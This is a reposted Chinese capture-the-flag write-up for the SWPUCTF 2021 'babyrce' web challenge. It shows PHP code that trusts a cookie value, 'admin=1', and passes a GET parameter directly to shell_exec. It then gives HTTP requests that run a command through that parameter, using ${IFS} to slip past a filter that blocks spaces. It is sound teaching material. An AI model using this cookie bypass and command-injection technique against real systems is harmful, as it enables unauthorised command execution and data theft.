[SWPUCTF2021新生赛]babyrce

admin 2025-12-22 04:20:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 这篇CTF题解分析了SWPUCTF2021新生赛的babyrce题目,展示了如何通过设置Cookieadmin=1访问受限页面,然后利用URL参数执行系统命令获取flag。文章详细解释了如何使用${IFS}绕过空格限制来执行命令,这是一个典型的远程代码执行漏洞利用案例。 综合评分: 85 文章分类: CTF,WEB安全,漏洞分析


cover_image

[SWPUCTF 2021 新生赛]babyrce

原创

R0seK1ller

蟹堡安全团队

2025年12月15日 22:01 浙江

免责声明

免责声明:本CTF题解(WP)仅供安全技术研究与教育交流之用,作者不对读者依据本文进行的任何操作承担直接或间接责任。解题过程涉及的技术细节可能触及目标系统漏洞,请务必在合法授权环境或靶机中复现,严禁用于未授权的渗透、破坏或牟利行为。因环境差异、操作失误或理解偏差导致的任何损失,作者及发布平台概不负责。文中引用的工具、脚本与资源均保持原许可证,请遵守对应开源协议。若内容涉侵权或敏感信息,请及时联系删除。阅读即视为同意自行承担全部风险与合规义务。


<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1)
{
&nbsp; &nbsp;&nbsp;include"../next.php";
}
else
&nbsp; &nbsp;&nbsp;echo"小饼干最好吃啦!";
?>

关键点:$_COOKIE[‘admin’]==1,如果Cookie中的admin参数的值等于1,那么就会将next.php的内容包含进来

GET&nbsp;/&nbsp;HTTP/1.1
Host:&nbsp;node5.anna.nssctf.cn:23781
Cookie:&nbsp;admin=1
Connection:&nbsp;close

看到提示rasalghul.php,使用GET请求去访问rasalghul.php这个文件

<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if&nbsp;(isset($_GET['url'])) {
&nbsp;&nbsp;$ip=$_GET['url'];
&nbsp;&nbsp;if(preg_match("/ /",&nbsp;$ip)){
&nbsp; &nbsp; &nbsp;&nbsp;die('nonono');
&nbsp; }
&nbsp;&nbsp;$a=shell_exec($ip);
&nbsp;&nbsp;echo$a;
}
?>

1.isset($_GET[‘url’] 需要设置 url 查询字符串

2.preg_match(“/ /”, $ip) url查询字符串的值不能存在空格

Linux环境中可以使用${IFS}绕过空格的限制

GET/rasalghul.php?url=cat${IFS}/flllllaaaaaagggggggHTTP/1.1
Host:&nbsp;node5.anna.nssctf.cn:23781
Cookie:&nbsp;admin=1
Connection:&nbsp;close


查看原文:《[SWPUCTF 2021 新生赛]babyrce》

评论:0   参与:  0